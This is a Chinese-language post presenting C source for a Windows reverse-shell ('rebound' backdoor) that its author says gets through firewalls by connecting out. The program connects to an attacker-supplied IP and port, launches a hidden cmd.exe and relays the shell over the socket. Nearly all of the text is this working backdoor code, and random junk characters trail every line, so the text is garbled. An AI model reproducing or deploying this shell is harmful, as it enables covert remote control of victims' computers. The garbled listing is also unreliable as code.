这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '<S:|$$
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/* ============================== =[os<+
Rebound port in Windows NT h\\2r>
By wind,2006/7 bCUh^#]x
===============================*/ os^SD&hL
#include 3MJWC o-[
#include 9= $,] M
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#pragma comment(lib,"wsock32.lib") Ia:puks=
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void OutputShell(); _J~ta.
SOCKET sClient; ik0Q^^1?Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ULmdt
{0WIDD
void main(int argc,char **argv) 4Xk;Qd
{ M`pTT5r
WSADATA stWsaData; oHd0
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int nRet; .+L_!A
SOCKADDR_IN stSaiClient,stSaiServer; l!V| T?
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if(argc != 3) aw%vu
{ )"jn{%/t
printf("Useage:\n\rRebound DestIP DestPort\n"); L4*fF
return; K |} ]<
} JD`;,Md
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,h.Jfo54,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5>[sCl-
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stSaiClient.sin_family = AF_INET; C|IQM4
stSaiClient.sin_port = htons(0); ur,"K'w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =k<4mlok^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cW\Y?x
{ Yk@s"qm3
printf("Bind Socket Failed!\n"); _QUu'zJ
return; ^
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} B "F`OS[
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stSaiServer.sin_family = AF_INET; @TPgA(5NR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $0S#d@v}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4\SBf\ c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Sb9=$0%\
{ f(s3TLM
printf("Connect Error!"); K-k.=6mS
return; t,1! `/\
} 5QFXj)hR+4
OutputShell(); {e[pSD6
} AH87UkNL
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void OutputShell() '[yqi1
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{ cU5"c)$'
char szBuff[1024]; $N+{r=
SECURITY_ATTRIBUTES stSecurityAttributes; hB$Y4~T%
OSVERSIONINFO stOsversionInfo; =
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %OTA5
STARTUPINFO stStartupInfo; 'Kzr-)JS
char *szShell; SAE'?_
PROCESS_INFORMATION stProcessInformation; cvXI]+`<3\
unsigned long lBytesRead; Pzm!`F^r}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xt,,AGm}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kl3S~gE4@
stSecurityAttributes.lpSecurityDescriptor = 0; )\D40,p
stSecurityAttributes.bInheritHandle = TRUE; 0B$7S,2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y^ZBA\D2,k
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ['4\O43yv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Rp`_Grcd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +`s&i%{1>
stStartupInfo.wShowWindow = SW_HIDE; rq(~/Yc
stStartupInfo.hStdInput = hReadPipe; ,[}yf#8@J
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c<h!QnJ
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GetVersionEx(&stOsversionInfo); e=n{f*KG`
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switch(stOsversionInfo.dwPlatformId) )Rhf f$
{ n@07$lY@;
case 1: T:g4D z*2\
szShell = "command.com"; w^'?4M!
break; .xLF}{u
default: ,7fc41O3V
szShell = "cmd.exe"; '=Kof1
break; (&P0la1
} gR-Qj
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'Elj"Iiu
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send(sClient,szMsg,77,0); )_c=mT
while(1) EB29vHAt~
{ Z?~d']XD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e:GgA
if(lBytesRead) ^`jZKh8)h
{ ;&W;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fr'huvc
send(sClient,szBuff,lBytesRead,0); Hr<C2p^a
} -wfRR>)d
else @( n^S?(
{ 16[-3cJ T
lBytesRead=recv(sClient,szBuff,1024,0); :B*vkwT
if(lBytesRead<=0) break; ^QXw[th!d
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C7jc 6(>m
} JwI`"$>w
} ,na=~.0R:
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return; D-o7yc"K
}